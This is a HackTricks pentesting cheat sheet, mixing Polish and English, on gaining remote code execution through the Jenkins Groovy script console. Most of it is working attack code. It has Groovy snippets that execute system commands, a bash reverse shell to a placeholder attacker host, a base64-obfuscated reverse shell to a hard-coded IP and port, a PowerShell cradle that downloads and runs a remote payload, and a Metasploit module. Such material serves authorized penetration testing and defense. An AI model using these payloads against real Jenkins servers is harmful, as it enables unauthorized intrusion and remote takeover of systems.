Jenkins RCE with Groovy Script

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jenkins RCE z użyciem skryptu Groovy

To jest mniej uciążliwe niż tworzenie nowego projektu w Jenkins

  1. Przejdź do path_jenkins/script

  2. Wprowadź skrypt w polu tekstowym

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Możesz wykonać polecenie za pomocą: cmd.exe /c dir

W linuxie możesz użyć: "ls /".execute().text

Jeśli musisz użyć cudzysłowów i apostrofów wewnątrz tekstu, możesz użyć """PAYLOAD""" (potrójne podwójne cudzysłowy) do wykonania payloadu.

Inny przydatny skrypt groovy to (zamień [WSTAW POLECENIE]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Odwrócony shell w systemie Linux

A reverse shell is a technique used in penetration testing to gain remote access to a target machine. It involves establishing a connection from the target machine to the attacker's machine, allowing the attacker to execute commands on the target machine.

To create a reverse shell in Linux, you can use the following command:

bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1

Replace ATTACKER_IP with the IP address of your machine and ATTACKER_PORT with the port number you want to use for the connection.

After executing this command on the target machine, it will establish a connection to your machine, and you will have a shell prompt that allows you to execute commands on the target machine remotely.

Keep in mind that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing with proper authorization.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Odwrócona powłoka w systemie Windows

Możesz przygotować serwer HTTP z odwróconą powłoką PS i użyć Jekinsa do pobrania i wykonania jej:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Skrypt

Możesz zautomatyzować ten proces za pomocą tego skryptu.

Możesz użyć MSF do uzyskania odwróconego powłoki (reverse shell):

msf> use exploit/multi/http/jenkins_script_console
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated